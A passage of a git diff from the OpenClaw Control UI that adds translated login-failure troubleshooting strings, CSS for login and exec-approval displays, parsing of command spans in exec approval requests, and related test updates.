gateway.controlUi.allowInsecureAuth: true.", + stepAvoidDisable: "Уникайте вимкнення auth пристрою для віддаленого HTTP-доступу.", + }, + origin: { + title: "Origin браузера не дозволено", + summary: "Gateway відхилив origin цієї сторінки до прийняття з’єднання Control UI.", + stepAllowedOrigins: "Додайте цей origin браузера до gateway.controlUi.allowedOrigins.", + stepFullOrigin: + "Використовуйте повні origin, наприклад http://localhost:5173, а не wildcard-шаблони.", + stepRestart: "Перезапустіть або перезавантажте Gateway після зміни дозволених origin.", + }, + protocol: { + title: "Невідповідність протоколу", + summary: + "Надана Control UI і запущений Gateway не узгоджуються щодо підтримуваного протоколу з’єднання.", + stepDashboard: + "Знову відкрийте наданий dashboard через openclaw dashboard, щоб UI і Gateway походили з однієї інсталяції.", + stepDevUi: + "Якщо використовуєте pnpm ui:dev, перебудуйте або перезапустіть dev UI з поточного checkout.", + stepRestart: + "Перезапустіть Gateway після оновлення OpenClaw, щоб він надавав поточний протокол.", + }, + network: { + title: "Не вдалося підключитися", + summary: + "Браузер не зміг завершити з’єднання з Gateway. Перевірте ціль і транспорт перед повторною спробою з обліковими даними.", + stepGateway: + "Підтвердьте, що Gateway працює, через openclaw status або openclaw gateway run.", + stepUrl: + "Перевірте WebSocket URL і використовуйте wss://, коли Gateway знаходиться за HTTPS/Tailscale Serve.", + stepDashboard: + "Знову відкрийте dashboard через openclaw dashboard --no-open, щоб повторно скопіювати поточний URL і деталі auth.", + }, + }, }, chat: { disconnected: "Відключено від шлюзу.", diff --git a/ui/src/i18n/locales/vi.ts b/ui/src/i18n/locales/vi.ts index a948222ce39..8ab0fe7dc98 100644 --- a/ui/src/i18n/locales/vi.ts +++ b/ui/src/i18n/locales/vi.ts @@ -934,6 +934,90 @@ export const vi: TranslationMap = { showPassword: "Hiển thị mật khẩu", hidePassword: "Ẩn mật khẩu", togglePasswordVisibility: "Bật/tắt hiển thị mật khẩu", + failure: { + rawError: "Lỗi thô", + docsAuth: "Tài liệu xác thực Control UI", + docsPairing: "Tài liệu ghép đôi thiết bị", + docsInsecure: "Tài liệu HTTP không an toàn", + authRequired: { + title: "Cần xác thực", + summary: + "Gateway có thể truy cập được, nhưng cần token hoặc mật khẩu khớp trước khi trình duyệt này có thể kết nối.", + stepPaste: "Dán token từ openclaw dashboard --no-open hoặc nhập mật khẩu đã cấu hình.", + stepGenerate: + "Nếu chưa cấu hình token, hãy chạy openclaw doctor --generate-gateway-token trên máy chủ Gateway.", + stepConnect: "Nhấp Connect lần nữa sau khi cập nhật thông tin xác thực.", + }, + authFailed: { + title: "Xác thực không khớp", + summary: + "Thông tin xác thực đã cung cấp bị từ chối. Nguyên nhân phổ biến nhất là token cũ hoặc token sao chép từ một Gateway URL khác.", + stepDashboard: "Chạy openclaw dashboard --no-open rồi mở URL mới hoặc dán token của nó.", + stepReplace: + "Thay các giá trị token/mật khẩu cũ; không dùng lại token từ Gateway URL khác.", + stepMode: + "Mỗi lần chỉ dùng một chế độ auth khớp: gateway token cho chế độ token, mật khẩu cho chế độ password.", + }, + rateLimited: { + title: "Quá nhiều lần thử thất bại", + summary: "Gateway đang tạm thời giới hạn các lần thử xác thực cho client này.", + stepStop: "Tạm dừng thử lại từ tab này trong giây lát.", + stepWait: "Chờ bộ giới hạn auth hạ nhiệt, rồi kết nối lại bằng thông tin xác thực đã sửa.", + stepCheckClients: + "Nếu đây là máy chủ dùng chung, hãy kiểm tra các client khác có thử sai lặp lại không.", + }, + pairing: { + title: "Cần ghép đôi thiết bị", + scopeTitle: "Nâng cấp scope đang chờ", + roleTitle: "Nâng cấp vai trò đang chờ", + metadataTitle: "Làm mới thiết bị đang chờ", + summary: + "Trình duyệt này cần phê duyệt một lần từ máy chủ Gateway trước khi dùng Control UI.", + upgradeSummary: + "Trình duyệt này đã được biết đến, nhưng quyền truy cập yêu cầu đã thay đổi và cần phê duyệt mới.", + stepList: "Chạy openclaw devices list trên máy chủ Gateway.", + stepApproveId: "Phê duyệt yêu cầu này: openclaw devices approve {requestId}.", + stepApprove: "Phê duyệt yêu cầu trình duyệt/thiết bị đang chờ trong danh sách đó.", + stepReconnect: "Kết nối lại sau khi phê duyệt hoàn tất.", + }, + insecure: { + title: "Cần ngữ cảnh trình duyệt an toàn", + summary: + "Trang này đang chạy qua HTTP thường, nên trình duyệt không thể tạo danh tính thiết bị mà Gateway mong đợi.", + stepHttps: + "Dùng HTTPS/Tailscale Serve, hoặc mở http://127.0.0.1:18789 trên máy chủ Gateway.", + stepLocalCompat: + "Để tương thích cục bộ chỉ dùng token, đặt gateway.controlUi.allowInsecureAuth: true.", + stepAvoidDisable: "Tránh tắt auth thiết bị cho truy cập HTTP từ xa.", + }, + origin: { + title: "Origin trình duyệt không được phép", + summary: "Gateway đã từ chối origin của trang này trước khi chấp nhận kết nối Control UI.", + stepAllowedOrigins: "Thêm origin trình duyệt này vào gateway.controlUi.allowedOrigins.", + stepFullOrigin: "Dùng origin đầy đủ như http://localhost:5173, không dùng mẫu wildcard.", + stepRestart: "Khởi động lại hoặc tải lại Gateway sau khi thay đổi origin được phép.", + }, + protocol: { + title: "Không khớp giao thức", + summary: + "Control UI được phục vụ và Gateway đang chạy không thống nhất về giao thức kết nối được hỗ trợ.", + stepDashboard: + "Mở lại dashboard được phục vụ bằng openclaw dashboard để UI và Gateway đến từ cùng một bản cài đặt.", + stepDevUi: + "Nếu dùng pnpm ui:dev, hãy build lại hoặc khởi động lại UI dev theo checkout hiện tại.", + stepRestart: + "Khởi động lại Gateway sau khi cập nhật OpenClaw để nó phục vụ giao thức hiện tại.", + }, + network: { + title: "Không thể kết nối", + summary: + "Trình duyệt không thể hoàn tất kết nối Gateway. Kiểm tra đích và transport trước khi thử lại thông tin xác thực.", + stepGateway: "Xác nhận Gateway đang chạy bằng openclaw status hoặc openclaw gateway run.", + stepUrl: "Kiểm tra WebSocket URL và dùng wss:// khi Gateway nằm sau HTTPS/Tailscale Serve.", + stepDashboard: + "Mở lại dashboard bằng openclaw dashboard --no-open để sao chép lại URL và chi tiết auth hiện tại.", + }, + }, }, chat: { disconnected: "Đã ngắt kết nối khỏi gateway.", diff --git a/ui/src/i18n/locales/zh-CN.ts b/ui/src/i18n/locales/zh-CN.ts index 43889510a1a..78e0a53e32f 100644 --- a/ui/src/i18n/locales/zh-CN.ts +++ b/ui/src/i18n/locales/zh-CN.ts @@ -922,6 +922,76 @@ export const zh_CN: TranslationMap = { showPassword: "显示密码", hidePassword: "隐藏密码", togglePasswordVisibility: "切换密码可见性", + failure: { + rawError: "原始错误", + docsAuth: "Control UI 认证文档", + docsPairing: "设备配对文档", + docsInsecure: "不安全 HTTP 文档", + authRequired: { + title: "需要认证", + summary: "Gateway 可以访问,但此浏览器连接前需要匹配的令牌或密码。", + stepPaste: "粘贴 openclaw dashboard --no-open 提供的令牌,或输入已配置的密码。", + stepGenerate: + "如果未配置令牌,请在 Gateway 主机上运行 openclaw doctor --generate-gateway-token。", + stepConnect: "更新凭据后再次点击 Connect。", + }, + authFailed: { + title: "认证不匹配", + summary: "提供的凭据被拒绝。最常见原因是令牌已过期,或令牌来自另一个 Gateway URL。", + stepDashboard: "运行 openclaw dashboard --no-open 并打开新的 URL,或粘贴其中的令牌。", + stepReplace: "替换过期的令牌/密码;不要复用另一个 Gateway URL 的令牌。", + stepMode: "一次只使用一种匹配的认证模式:令牌模式使用 gateway token,密码模式使用密码。", + }, + rateLimited: { + title: "失败尝试过多", + summary: "Gateway 正在临时限制此客户端的认证尝试。", + stepStop: "暂时停止从此标签页重试。", + stepWait: "等待认证限制器冷却,然后使用修正后的凭据重新连接。", + stepCheckClients: "如果这是共享主机,请检查其他客户端是否在重复错误重试。", + }, + pairing: { + title: "需要设备配对", + scopeTitle: "Scope 升级待批准", + roleTitle: "角色升级待批准", + metadataTitle: "设备刷新待批准", + summary: "此浏览器需要 Gateway 主机的一次性批准后才能使用 Control UI。", + upgradeSummary: "此浏览器已知,但请求的访问权限已变更,需要重新批准。", + stepList: "在 Gateway 主机上运行 openclaw devices list。", + stepApproveId: "批准此请求:openclaw devices approve {requestId}。", + stepApprove: "从该列表批准待处理的浏览器/设备请求。", + stepReconnect: "批准完成后重新连接。", + }, + insecure: { + title: "需要安全浏览器上下文", + summary: "此页面通过普通 HTTP 运行,因此浏览器无法创建 Gateway 期望的设备身份。", + stepHttps: "使用 HTTPS/Tailscale Serve,或在 Gateway 主机上打开 http://127.0.0.1:18789。", + stepLocalCompat: "如需本地仅令牌兼容,设置 gateway.controlUi.allowInsecureAuth: true。", + stepAvoidDisable: "避免为远程 HTTP 访问禁用设备认证。", + }, + origin: { + title: "浏览器来源不被允许", + summary: "Gateway 在接受 Control UI 连接前拒绝了此页面来源。", + stepAllowedOrigins: "将此浏览器来源添加到 gateway.controlUi.allowedOrigins。", + stepFullOrigin: "使用完整来源,例如 http://localhost:5173,不要使用通配符模式。", + stepRestart: "更改允许来源后重启或重新加载 Gateway。", + }, + protocol: { + title: "协议不匹配", + summary: "提供的 Control UI 与正在运行的 Gateway 对支持的连接协议不一致。", + stepDashboard: + "使用 openclaw dashboard 重新打开提供的 dashboard,确保 UI 和 Gateway 来自同一安装。", + stepDevUi: "如果使用 pnpm ui:dev,请基于当前 checkout 重新构建或重启开发 UI。", + stepRestart: "更新 OpenClaw 后重启 Gateway,使其提供当前协议。", + }, + network: { + title: "无法连接", + summary: "浏览器无法完成 Gateway 连接。重试凭据前请检查目标和传输方式。", + stepGateway: "使用 openclaw status 或 openclaw gateway run 确认 Gateway 正在运行。", + stepUrl: "检查 WebSocket URL;当 Gateway 位于 HTTPS/Tailscale Serve 后面时使用 wss://。", + stepDashboard: + "使用 openclaw dashboard --no-open 重新打开 dashboard,以重新复制当前 URL 和认证详情。", + }, + }, }, chat: { disconnected: "已断开与网关的连接。", diff --git a/ui/src/i18n/locales/zh-TW.ts b/ui/src/i18n/locales/zh-TW.ts index 19e6eea4e1b..47e53018bac 100644 --- a/ui/src/i18n/locales/zh-TW.ts +++ b/ui/src/i18n/locales/zh-TW.ts @@ -923,6 +923,77 @@ export const zh_TW: TranslationMap = { showPassword: "顯示密碼", hidePassword: "隱藏密碼", togglePasswordVisibility: "切換密碼可見性", + failure: { + rawError: "原始錯誤", + docsAuth: "Control UI 驗證文件", + docsPairing: "裝置配對文件", + docsInsecure: "不安全 HTTP 文件", + authRequired: { + title: "需要驗證", + summary: "Gateway 可以連線,但此瀏覽器連接前需要相符的權杖或密碼。", + stepPaste: "貼上 openclaw dashboard --no-open 提供的權杖,或輸入已設定的密碼。", + stepGenerate: + "如果尚未設定權杖,請在 Gateway 主機上執行 openclaw doctor --generate-gateway-token。", + stepConnect: "更新憑證後再次按一下 Connect。", + }, + authFailed: { + title: "驗證不相符", + summary: "提供的憑證遭到拒絕。最常見原因是權杖過期,或權杖複製自另一個 Gateway URL。", + stepDashboard: "執行 openclaw dashboard --no-open 並開啟新的 URL,或貼上其中的權杖。", + stepReplace: "替換過期的權杖/密碼;不要重複使用另一個 Gateway URL 的權杖。", + stepMode: + "一次只使用一種相符的驗證模式:token 模式使用 gateway token,password 模式使用密碼。", + }, + rateLimited: { + title: "失敗嘗試過多", + summary: "Gateway 正在暫時限制此用戶端的驗證嘗試。", + stepStop: "暫時停止從此分頁重試。", + stepWait: "等待驗證限制器冷卻,然後使用修正後的憑證重新連線。", + stepCheckClients: "如果這是共用主機,請檢查其他用戶端是否持續錯誤重試。", + }, + pairing: { + title: "需要裝置配對", + scopeTitle: "Scope 升級待核准", + roleTitle: "角色升級待核准", + metadataTitle: "裝置重新整理待核准", + summary: "此瀏覽器需要 Gateway 主機的一次性核准後才能使用 Control UI。", + upgradeSummary: "此瀏覽器已知,但要求的存取權限已變更,需要新的核准。", + stepList: "在 Gateway 主機上執行 openclaw devices list。", + stepApproveId: "核准此要求:openclaw devices approve {requestId}。", + stepApprove: "從該清單核准待處理的瀏覽器/裝置要求。", + stepReconnect: "核准完成後重新連線。", + }, + insecure: { + title: "需要安全瀏覽器內容", + summary: "此頁面透過一般 HTTP 執行,因此瀏覽器無法建立 Gateway 預期的裝置身分。", + stepHttps: "使用 HTTPS/Tailscale Serve,或在 Gateway 主機上開啟 http://127.0.0.1:18789。", + stepLocalCompat: "如需本機僅權杖相容性,請設定 gateway.controlUi.allowInsecureAuth: true。", + stepAvoidDisable: "避免為遠端 HTTP 存取停用裝置驗證。", + }, + origin: { + title: "瀏覽器來源不允許", + summary: "Gateway 在接受 Control UI 連線前拒絕了此頁面來源。", + stepAllowedOrigins: "將此瀏覽器來源加入 gateway.controlUi.allowedOrigins。", + stepFullOrigin: "使用完整來源,例如 http://localhost:5173,不要使用萬用字元模式。", + stepRestart: "變更允許來源後重新啟動或重新載入 Gateway。", + }, + protocol: { + title: "協定不相符", + summary: "提供的 Control UI 與執行中的 Gateway 對支援的連線協定不一致。", + stepDashboard: + "使用 openclaw dashboard 重新開啟提供的 dashboard,確保 UI 和 Gateway 來自同一安裝。", + stepDevUi: "如果使用 pnpm ui:dev,請依目前 checkout 重新建置或重新啟動開發 UI。", + stepRestart: "更新 OpenClaw 後重新啟動 Gateway,使其提供目前協定。", + }, + network: { + title: "無法連線", + summary: "瀏覽器無法完成 Gateway 連線。重試憑證前請檢查目標與傳輸。", + stepGateway: "使用 openclaw status 或 openclaw gateway run 確認 Gateway 正在執行。", + stepUrl: "檢查 WebSocket URL;當 Gateway 位於 HTTPS/Tailscale Serve 後方時使用 wss://。", + stepDashboard: + "使用 openclaw dashboard --no-open 重新開啟 dashboard,以重新複製目前 URL 與驗證詳細資料。", + }, + }, }, chat: { disconnected: "已斷開與網關的連接。", diff --git a/ui/src/i18n/test/translate.test.ts b/ui/src/i18n/test/translate.test.ts index 86d2cd3b398..a8b73e53781 100644 --- a/ui/src/i18n/test/translate.test.ts +++ b/ui/src/i18n/test/translate.test.ts @@ -62,6 +62,17 @@ describe("i18n", () => { }); } + function readString(value: unknown, path: string): string { + let cursor = value; + for (const part of path.split(".")) { + cursor = + cursor && typeof cursor === "object" + ? (cursor as Record)[part] + : undefined; + } + return typeof cursor === "string" ? cursor : ""; + } + beforeEach(async () => { vi.stubGlobal("localStorage", createStorageMock()); vi.stubGlobal("navigator", { language: "en-US" } as Navigator); @@ -150,6 +161,38 @@ describe("i18n", () => { } }); + it("keeps login failure guidance localized in shipped locale bundles", () => { + const checkedKeys = flatten( + (en.login as { failure: Record> }).failure, + "login.failure", + ); + expect(checkedKeys.length).toBeGreaterThan(0); + for (const [locale, value] of Object.entries({ + ar, + de, + es, + fa, + fr, + id, + it: itLocale, + ja_JP, + ko, + nl, + pl, + pt_BR, + th, + tr, + uk, + vi: viLocale, + zh_CN, + zh_TW, + })) { + for (const key of checkedKeys) { + expect(readString(value, key), `${locale}:${key}`).not.toBe(readString(en, key)); + } + } + }); + it("keeps shipped locales structurally aligned with English", () => { const englishKeys = flatten(en); for (const [locale, value] of Object.entries(shippedLocales)) { diff --git a/ui/src/styles/chat/layout.test.ts b/ui/src/styles/chat/layout.test.ts index 5794be7e33b..1c838206750 100644 --- a/ui/src/styles/chat/layout.test.ts +++ b/ui/src/styles/chat/layout.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from "vitest"; -import { readStyleSheet } from "../../../../test/helpers/ui-style-fixtures"; +import { readStyleSheet } from "../../../../test/helpers/ui-style-fixtures.js"; function readLayoutCss(): string { return readStyleSheet("ui/src/styles/chat/layout.css"); diff --git a/ui/src/styles/components.css b/ui/src/styles/components.css index 7a543acf864..5a6299ee5a7 100644 --- a/ui/src/styles/components.css +++ b/ui/src/styles/components.css @@ -84,6 +84,55 @@ font-weight: 600; } +.login-gate__failure { + margin-top: 14px; +} + +.login-gate__failure-title { + font-size: 14px; + font-weight: 700; + color: var(--fg); +} + +.login-gate__failure-summary { + margin-top: 6px; + font-size: 13px; + line-height: 1.45; +} + +.login-gate__failure-steps { + margin: 10px 0 0; + padding-left: 18px; + font-size: 12px; + line-height: 1.55; +} + +.login-gate__failure-steps li + li { + margin-top: 4px; +} + +.login-gate__failure-detail { + margin-top: 10px; + font-size: 12px; +} + +.login-gate__failure-detail summary { + cursor: pointer; + color: var(--muted); +} + +.login-gate__failure-raw { + margin-top: 6px; + overflow-wrap: anywhere; + color: var(--muted); +} + +.login-gate__failure-docs { + display: inline-flex; + margin-top: 10px; + font-size: 12px; +} + .login-gate__help { margin-top: 20px; padding-top: 16px; @@ -3992,6 +4041,13 @@ td.data-table-key-col { font-size: 13px; } +.exec-approval-command-span { + border-radius: 3px; + padding: 0 2px; + background: color-mix(in srgb, #f97316 34%, transparent); + color: var(--fg); +} + .exec-approval-meta { margin-top: 12px; display: grid; diff --git a/ui/src/styles/components.test.ts b/ui/src/styles/components.test.ts index aead1dd20b3..b36b65fe210 100644 --- a/ui/src/styles/components.test.ts +++ b/ui/src/styles/components.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from "vitest"; -import { readStyleSheet } from "../../../test/helpers/ui-style-fixtures"; +import { readStyleSheet } from "../../../test/helpers/ui-style-fixtures.js"; function readComponentsCss(): string { return readStyleSheet("ui/src/styles/components.css"); diff --git a/ui/src/styles/layout.mobile.test.ts b/ui/src/styles/layout.mobile.test.ts index 7c04b843762..b4c36c9f3aa 100644 --- a/ui/src/styles/layout.mobile.test.ts +++ b/ui/src/styles/layout.mobile.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from "vitest"; -import { readStyleSheet } from "../../../test/helpers/ui-style-fixtures"; +import { readStyleSheet } from "../../../test/helpers/ui-style-fixtures.js"; function readMobileCss(): string { return readStyleSheet("ui/src/styles/layout.mobile.css"); diff --git a/ui/src/styles/markdown-preview.test.ts b/ui/src/styles/markdown-preview.test.ts index c0f25153310..6cfa38eeede 100644 --- a/ui/src/styles/markdown-preview.test.ts +++ b/ui/src/styles/markdown-preview.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from "vitest"; -import { readStyleSheetAsync } from "../../../test/helpers/ui-style-fixtures"; +import { readStyleSheetAsync } from "../../../test/helpers/ui-style-fixtures.js"; describe("markdown preview styles", () => { it("keeps the preview dialog canvas unified", async () => { diff --git a/ui/src/ui/app-channels.test.ts b/ui/src/ui/app-channels.test.ts index 53e58f15d8e..16847e97d27 100644 --- a/ui/src/ui/app-channels.test.ts +++ b/ui/src/ui/app-channels.test.ts @@ -14,8 +14,11 @@ type ChannelsActionHostForTest = ConfigState & }; function createChannelsSnapshot(name = "saved"): ChannelsStatusSnapshot { - const nostrAccount = { accountId: "default", configured: true, profile: { name } } as - ChannelsStatusSnapshot["channelAccounts"][string][number]; + const nostrAccount = { + accountId: "default", + configured: true, + profile: { name }, + } as ChannelsStatusSnapshot["channelAccounts"][string][number]; return { ts: Date.now(), channelOrder: ["nostr"], @@ -131,6 +134,6 @@ describe("channel config actions", () => { expect(host.configFormDirty).toBe(true); expect(host.configForm).toEqual({ gateway: { mode: "local" } }); expect(host.configSnapshot?.config).toEqual({ gateway: { mode: "remote" } }); - expect(request.mock.calls.some(([method]) => method === "channels.status")).toBe(false); + expect(request.mock.calls.map(([method]) => method)).not.toContain("channels.status"); }); }); diff --git a/ui/src/ui/app-gateway.node.test.ts b/ui/src/ui/app-gateway.node.test.ts index c6ff2ffc3b5..28fad7422e3 100644 --- a/ui/src/ui/app-gateway.node.test.ts +++ b/ui/src/ui/app-gateway.node.test.ts @@ -427,6 +427,29 @@ describe("connectGateway", () => { expect(host.lastErrorCode).toBeNull(); }); + it("routes exec approval requested events with command spans", () => { + const { host, client } = connectHostGateway(); + + client.emitEvent({ + event: "exec.approval.requested", + payload: { + id: "approval-explain-1", + request: { + command: 'ls | grep "stuff" | python -c \'print("hi")\'', + host: "gateway", + commandSpans: [{ startIndex: 20, endIndex: 26 }], + }, + createdAtMs: Date.now(), + expiresAtMs: Date.now() + 60_000, + }, + }); + + expect(host.execApprovalQueue).toHaveLength(1); + expect(host.execApprovalQueue[0]?.request.commandSpans).toEqual([ + { startIndex: 20, endIndex: 26 }, + ]); + }); + it("preserves pending approval requests across reconnect", () => { const host = createHost(); host.execApprovalQueue = [ diff --git a/ui/src/ui/app-render.assistant-avatar.test.ts b/ui/src/ui/app-render.assistant-avatar.test.ts index b0fc51d86e7..f23f80dfda8 100644 --- a/ui/src/ui/app-render.assistant-avatar.test.ts +++ b/ui/src/ui/app-render.assistant-avatar.test.ts @@ -241,6 +241,19 @@ describe("renderApp assistant avatar routing", () => { expect(shell?.style.getPropertyValue("--chat-message-max-width")).toBe("min(1280px, 82%)"); }); + it("passes tools.exec.security to Quick Settings", () => { + renderApp( + createState({ + configForm: { + tools: { exec: { security: "full" } }, + agents: { defaults: { exec: { security: "deny" } } }, + }, + }), + ); + + expect(quickSettingsProps.current?.security.execPolicy).toBe("full"); + }); + it("does not throw when stale cron state contains a job without a payload", () => { expect(() => renderApp( diff --git a/ui/src/ui/app-render.helpers.node.test.ts b/ui/src/ui/app-render.helpers.node.test.ts index 261f01fdd3f..8a04237c500 100644 --- a/ui/src/ui/app-render.helpers.node.test.ts +++ b/ui/src/ui/app-render.helpers.node.test.ts @@ -654,6 +654,7 @@ describe("handleChatManualRefresh", () => { const previousRequestAnimationFrame = globalThis.requestAnimationFrame; Object.defineProperty(globalThis, "requestAnimationFrame", { configurable: true, + writable: true, value: vi.fn((callback: FrameRequestCallback) => { animationFrame.callback = callback; return 1; @@ -698,10 +699,15 @@ describe("handleChatManualRefresh", () => { expect(state.chatManualRefreshInFlight).toBe(false); expect(state.chatNewMessagesBelow).toBe(false); } finally { - Object.defineProperty(globalThis, "requestAnimationFrame", { - configurable: true, - value: previousRequestAnimationFrame, - }); + if (previousRequestAnimationFrame === undefined) { + Reflect.deleteProperty(globalThis, "requestAnimationFrame"); + } else { + Object.defineProperty(globalThis, "requestAnimationFrame", { + configurable: true, + writable: true, + value: previousRequestAnimationFrame, + }); + } } }); }); diff --git a/ui/src/ui/chat/build-chat-items.test.ts b/ui/src/ui/chat/build-chat-items.test.ts index 7aa67a27196..956e2890e6f 100644 --- a/ui/src/ui/chat/build-chat-items.test.ts +++ b/ui/src/ui/chat/build-chat-items.test.ts @@ -140,7 +140,7 @@ describe("buildChatItems", () => { expect(groups).toHaveLength(1); expect(groups[0].messages).toHaveLength(1); - expect(firstMessageContent(groups[0]).some((block) => isCanvasBlock(block))).toBe(true); + expect(canvasBlocksIn(groups[0])).toHaveLength(1); }); it("suppresses active HEARTBEAT_OK streams before rendering", () => { @@ -307,8 +307,8 @@ describe("buildChatItems", () => { ], }); - expect(firstMessageContent(groups[0]).some((block) => isCanvasBlock(block))).toBe(true); - expect(firstMessageContent(groups[1]).some((block) => isCanvasBlock(block))).toBe(false); + expect(canvasBlocksIn(groups[0])).toHaveLength(1); + expect(canvasBlocksIn(groups[1])).toEqual([]); }); it("preserves a metadata-only assistant anchor when lifting canvas previews", () => { @@ -386,7 +386,7 @@ describe("buildChatItems", () => { ], }); - expect(firstMessageContent(groups[0]).some((block) => isCanvasBlock(block))).toBe(false); + expect(canvasBlocksIn(groups[0])).toEqual([]); }); it("lifts streamed canvas toolresult blocks into the assistant bubble", () => { @@ -433,7 +433,7 @@ describe("buildChatItems", () => { ], }); - const canvasBlocks = firstMessageContent(groups[0]).filter((block) => isCanvasBlock(block)); + const canvasBlocks = canvasBlocksIn(groups[0]); expect(canvasBlocks).toHaveLength(1); expect(canvasBlocks[0]).toMatchObject({ preview: { @@ -473,6 +473,10 @@ describe("buildChatItems", () => { }); }); +function canvasBlocksIn(group: MessageGroup): unknown[] { + return firstMessageContent(group).filter((block) => isCanvasBlock(block)); +} + function isCanvasBlock(block: unknown): boolean { return ( Boolean(block) && diff --git a/ui/src/ui/chat/chat-responsive.browser.test.ts b/ui/src/ui/chat/chat-responsive.browser.test.ts index 8e7b4c01a6a..21bd8f125ca 100644 --- a/ui/src/ui/chat/chat-responsive.browser.test.ts +++ b/ui/src/ui/chat/chat-responsive.browser.test.ts @@ -1,7 +1,7 @@ import { existsSync } from "node:fs"; import { chromium, type Browser, type Page } from "playwright"; import { afterAll, beforeAll, describe, expect, it } from "vitest"; -import { readStyleSheet } from "../../../../test/helpers/ui-style-fixtures"; +import { readStyleSheet } from "../../../../test/helpers/ui-style-fixtures.js"; const VIEWPORTS = [ [320, 568], diff --git a/ui/src/ui/chat/session-controls.ts b/ui/src/ui/chat/session-controls.ts index 27604693882..1234cd0ab9b 100644 --- a/ui/src/ui/chat/session-controls.ts +++ b/ui/src/ui/chat/session-controls.ts @@ -593,9 +593,15 @@ function resolvePreferredSessionForAgent(state: AppViewState, agentId: string): return state.sessionKey; } const rows = state.sessionsResult?.sessions ?? []; - const row = rows - .filter((entry) => isSessionKeyTiedToAgent(entry.key, normalizedAgentId, defaultAgentId)) - .toSorted((a, b) => (b.updatedAt ?? 0) - (a.updatedAt ?? 0))[0]; + let row: (typeof rows)[number] | undefined; + for (const entry of rows) { + if (!isSessionKeyTiedToAgent(entry.key, normalizedAgentId, defaultAgentId)) { + continue; + } + if (!row || (entry.updatedAt ?? 0) > (row.updatedAt ?? 0)) { + row = entry; + } + } return row?.key ?? buildAgentMainSessionKey({ agentId: normalizedAgentId }); } diff --git a/ui/src/ui/chat/slash-commands.browser-import.test.ts b/ui/src/ui/chat/slash-commands.browser-import.test.ts index d7e9c7ed8eb..5028e4ade5c 100644 --- a/ui/src/ui/chat/slash-commands.browser-import.test.ts +++ b/ui/src/ui/chat/slash-commands.browser-import.test.ts @@ -27,7 +27,7 @@ describe("slash command browser import", () => { ); const mod = (await import(browserImportPath)) as SlashCommandsModule; - expect(mod.SLASH_COMMANDS.some((command) => command.name === "think")).toBe(true); + expect(mod.SLASH_COMMANDS.map((command) => command.name)).toContain("think"); expect(slashCommands).toContain("commands-registry.shared.js"); expect(sharedRegistry).toContain("thinking.shared.js"); expect(sharedRegistry).not.toContain("./thinking.js"); diff --git a/ui/src/ui/control-ui-performance.test.ts b/ui/src/ui/control-ui-performance.test.ts index 1c8cc7df4ce..52b9ab6e799 100644 --- a/ui/src/ui/control-ui-performance.test.ts +++ b/ui/src/ui/control-ui-performance.test.ts @@ -223,7 +223,7 @@ describe("startControlUiResponsivenessObserver", () => { expect( host.eventLogBuffer.filter((entry) => entry.event === "control-ui.longtask"), ).toHaveLength(50); - expect(host.eventLogBuffer.some((entry) => entry.event === "gateway.event")).toBe(true); + expect(host.eventLogBuffer.map((entry) => entry.event)).toContain("gateway.event"); }); it("returns null when responsiveness entries are unsupported or observe fails", () => { diff --git a/ui/src/ui/controllers/exec-approval.test.ts b/ui/src/ui/controllers/exec-approval.test.ts index 5e913185e81..4230c3e703a 100644 --- a/ui/src/ui/controllers/exec-approval.test.ts +++ b/ui/src/ui/controllers/exec-approval.test.ts @@ -96,3 +96,52 @@ describe("parsePluginApprovalRequested", () => { expect(result!.request.sessionKey).toBeNull(); }); }); + +describe("parseExecApprovalRequested command spans", () => { + it("preserves command text spacing for span offsets", () => { + const parsed = parseExecApprovalRequested({ + id: "approval-spaces-1", + request: { command: " python -c 'print(1)'" }, + createdAtMs: 1, + expiresAtMs: 2, + }); + + expect(parsed?.request.command).toBe(" python -c 'print(1)'"); + }); + + it("rejects whitespace-only command text", () => { + expect( + parseExecApprovalRequested({ + id: "approval-blank-1", + request: { command: " " }, + createdAtMs: 1, + expiresAtMs: 2, + }), + ).toBeNull(); + }); + + it("preserves valid command spans from exec approval events", () => { + const parsed = parseExecApprovalRequested({ + id: "approval-explain-1", + request: { + command: "ls | grep stuff", + commandSpans: [ + { startIndex: 0, endIndex: 2 }, + { startIndex: 5, endIndex: 9 }, + { startIndex: 10, endIndex: 15 }, + { startIndex: 16, endIndex: 20 }, + { startIndex: -1, endIndex: 2 }, + { startIndex: 8, endIndex: 8 }, + ], + }, + createdAtMs: 1, + expiresAtMs: 2, + }); + + expect(parsed?.request.commandSpans).toEqual([ + { startIndex: 0, endIndex: 2 }, + { startIndex: 5, endIndex: 9 }, + { startIndex: 10, endIndex: 15 }, + ]); + }); +}); diff --git a/ui/src/ui/controllers/exec-approval.ts b/ui/src/ui/controllers/exec-approval.ts index bd44c726939..249d4abd2e0 100644 --- a/ui/src/ui/controllers/exec-approval.ts +++ b/ui/src/ui/controllers/exec-approval.ts @@ -9,6 +9,10 @@ export type ExecApprovalRequestPayload = { agentId?: string | null; resolvedPath?: string | null; sessionKey?: string | null; + commandSpans?: readonly { + startIndex: number; + endIndex: number; + }[]; }; export type ExecApprovalRequest = { @@ -34,6 +38,43 @@ function isRecord(value: unknown): value is Record { return typeof value === "object" && value !== null; } +function parseCommandSpans( + value: unknown, + commandLength: number, +): + | { + startIndex: number; + endIndex: number; + }[] + | undefined { + if (!Array.isArray(value)) { + return undefined; + } + const spans = value.filter( + ( + item, + ): item is { + startIndex: number; + endIndex: number; + } => { + if (!isRecord(item)) { + return false; + } + const { startIndex, endIndex } = item; + return ( + Number.isSafeInteger(startIndex) && + Number.isSafeInteger(endIndex) && + typeof startIndex === "number" && + typeof endIndex === "number" && + startIndex >= 0 && + endIndex > startIndex && + endIndex <= commandLength + ); + }, + ); + return spans.length > 0 ? spans : undefined; +} + export function parseExecApprovalRequested(payload: unknown): ExecApprovalRequest | null { if (!isRecord(payload)) { return null; @@ -43,8 +84,8 @@ export function parseExecApprovalRequested(payload: unknown): ExecApprovalReques if (!id || !isRecord(request)) { return null; } - const command = normalizeOptionalString(request.command) ?? ""; - if (!command) { + const command = typeof request.command === "string" ? request.command : ""; + if (command.trim().length === 0) { return null; } const createdAtMs = typeof payload.createdAtMs === "number" ? payload.createdAtMs : 0; @@ -64,6 +105,7 @@ export function parseExecApprovalRequested(payload: unknown): ExecApprovalReques agentId: typeof request.agentId === "string" ? request.agentId : null, 